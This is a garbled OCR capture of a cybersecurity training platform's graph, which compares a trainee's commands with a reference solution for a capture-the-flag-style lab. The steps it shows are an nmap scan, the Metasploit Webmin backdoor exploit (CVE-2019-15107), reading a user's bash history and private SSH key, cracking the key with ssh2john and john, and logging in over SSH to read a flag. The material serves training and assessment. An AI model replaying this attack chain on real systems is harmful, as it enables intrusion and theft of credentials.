Trainee: sandbox-43-useractions
Reached 6 of 20 available success nodes (30.0%)
Training: "Kobylka 3302"

Green nodes: Successfully reached states from the reference graph

Red nodes: Commands not present in the reference graph

Orange nodes: Attempts to reach a green node but some required states were missing
Gray nodes: Reference solution to complete the rest of the training

ype: command
Tool: ./webmin.sh

Opts: []; ['https://localhost:10000']; ['100.100.100.5:10000'];
['100.100.100.5']; ['172.18.1.1:10000']; ['172.18.1.1"]

Type: command
Tool: man
Opts: ['netstat']

Type: command
Tool: touch
Opts: ['webmin.sh']

Type: command
Tool: nano
Opts: ['webmin.sh']

Type: command
Tool: chmod
Opts: ['+x', 'webmin.sh']; ['+x', '47230.rb']

port found

ype: command
ool: nmap
Opts: ['172.18.1.5']

Type: command [ Type: command
Tool: ./47230.rb | Tool: metasploit
Opts: []

Type: command
Tool: perl
Opts: ['--version']

Type: command
Tool: ruby
Opts: ['--version']

Type: command
Tool: 1s

Opts: [] Opts: []

Not in the ref. graph

Type: command
Tool: netstat
Opts: [-lpn']; ['-lpn', '|', 'grep’, '10000']; ['-na']; ['-sV']

Type: command
Tool: msfconsole
Opts: []

Not in the ref. graph
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Type: msf4-history
Tool: set
Opts: ['RHOST!, '172.168.1.5']; ['TARGET", '0']; ['RHOST", '192.168.1.5']

Type: command
Tool: netstat
Opts: ['-lpn']; ['-a']; ['-na']

Type: command
Tool: clear
Opts: []

Not in the ref. graph

\Mlssmg nodes: rhost _set, rport set

Tried to reach: exploit executed

Missing nodes: rport_set

(unreached)
vulnerability found

—

Type: msf4-history

Tool: search

Opts: ['webmin']; ['CVE-2019-15107"]
Req. nodes: [metasploit opened]

Type: command
Tool: ./ssh2john.py

Type: command
Tool: ifconfig
Opts: []

Type: command
Tool: Is
Opts: []

(unreached)

Opts: ['~/Desktop/key.txt', '>', 'hash']

Type: command / Type: msf4-history
Tool: man Tool: set
Opts: ['john'] Opts: ['TARGET", '0']

searched for exploit

Type: msf4-history

Tool: set

Opts: ['RPORT', '10000']; ['rport’, '10000']
Req. nodes: [metasploit opened]

(unreached)
rport set

Type: msf4-history

Tool: check

Opts: []

Req. nodes: [exploit used, rhost set,
rport set, lhost set]

(unreached)
exploit checked

Type: msf4-history

Tool: exploit

Opts: []

Req. nodes: [exploit used, rhost set,
rport set, lhost set]

(unreached)
exploit executed

Type: command

Tool: cat

Opts: ['/root/WARNING-READ-ME.txt']; [[WARNING-READ-ME.txt']
Req. nodes: [exploit executed]

(unreached)
file viewed

Type: command

Tool: 1s

Opts: ['-a', '/home/eve/']; ['-a', 'feve/']; ['-a']
Req. nodes: [exploit executed]

(unreached)
eve files shown

Type: command

Tool: cat

Opts: ['.bash history']['/home/eve/.bash history'];
['eve/.bash history']; ['.bash history']

Req. nodes: [exploit executed]

\
(unreached)
bash history displayed

Type: command

Tool: cat

Opts: ['/home/eve/.ssh/id rsa']; ['eve/.ssh/id rsa'];
['.ssh/id rsa']; ['id rsa']

Req. nodes: [exploit executed]

(unreached)
view ssh key

Type: command

Tool: python

Opts: ['ssh2john.py’, *', '>', *']
Req. nodes: [exploit executed]

(unreached)
key hashed

Type: command

Tool: john

Opts: ['--wordlist=/usr/share/wordlists/rockyou.txt’,
I*I]

Req. nodes: [key hashed]

(unreached)
key cracked

Type: command

Tool: chmod

Opts: ['0600', *']; ['600°', *']
Req. nodes: [key cracked]

\ J

(unreached)
ssh key permissions changed

Type: command

Tool: ssh

Opts: ['-i', ¥, 'eve@10.1.17.4"]

Req. nodes: [ssh key permissions changed,
bash history displayed]

(unreached)
connected to server

Type: command

Tool: cat

Opts: ['top-secret/flag.txt']; ['flag.txt']
Req. nodes: [connected to server]

(unreached)
end

Not in the ref. graph

Tool: pwd
Opts: []

Opts: ['TARGET", '0']; ['RHOSTS', '172.18.1.5']; ['LHOST", '0.0.0.0'];
["TARGETURI, ‘/root/']; ['TARGETURI, '/']; ['[LHOST",
'127.0.0.1'; ['LHOST", '192.168.131.153']

- -

v Type: m§I4-history
', Tool: show
\ Opts: ['opltions']

\

Type: msf4-history

|

|

|

|

|

|

|

|

|

\ |

|

|

. |
~Tool: exploit |
- |

|

|

|

|

MType: msf4-history
'Tool: show
Opts: ['options']

\ | I
I

ool: ifconfig
Opts: [] \

|

|

|
|
|
|
|

I
\ MType: msf4-history
"Tool: use
, Opts: ['/exploit/unix/webapp/webmin backdoor'];
i ['exploit/unix/webapp/webmin backdoor']
I
I I
Type: msf4-history !
——-e Tool: set L
Tt -- Opts: ['[LHOST', '10.1.135.83']
4 /

Not in the ref. graph

1
1
|
|
|

~

== = = —— -

o ~ - Type: msf4-history ! ,
RN Tool: set
=~ . _ Opts: ['[RHOST', '172.18.1.5']

|
|
|
———————————— - | /
|
|
|

—_— e e e e e e e - - - — — — — — — —

~
~N

Type: command AN /! L7 y
Tool: john \ , 7 v
Opts: ['--wordlist=/usr/share/wordlists/rockyou.txt’, ' ' -7 -7
'hash'] S I T

Type: command
Tool: ifconfig
Opts: []

Type: msf4-history
Tool: set
Opts: ['TARGET", '0']

Not in the ref. graph

Type: command
Tool: chmod
Opts: ['777', 'key.txt']; ['400', 'key.txt']

Tool: Is
Opts: []

Not in the ref. graph

Type: command
Tool: ssh
Opts: ['-i', 'key.txt', 'eve@10.1.17.45']

Type: command

Tried to reach: key cracked ¥ e m e =TT ==
Missing nodes: key_hashed

Type: command
Tool: ssh
Opts: ['-i', 'key.txt', 'eve@10.1.17.4']

y

Type: command
~Tool: ssh
Opts: ['-i', 'key.txt', 'eve@10.1.17.4"]

Tried to reach: connected to server
Missing nodes: ssh _key permissions changed,
bash history displayed

~

-

Type: command
Tool: cat
Opts: ['flag.txt']

Type: command
Tool: cd
Opts: ['top-secret/']

A 4

(last node)
Tried to reach: end
Missing nodes: connected to server

MType: command
'Tool: msfconsole
Opts: []



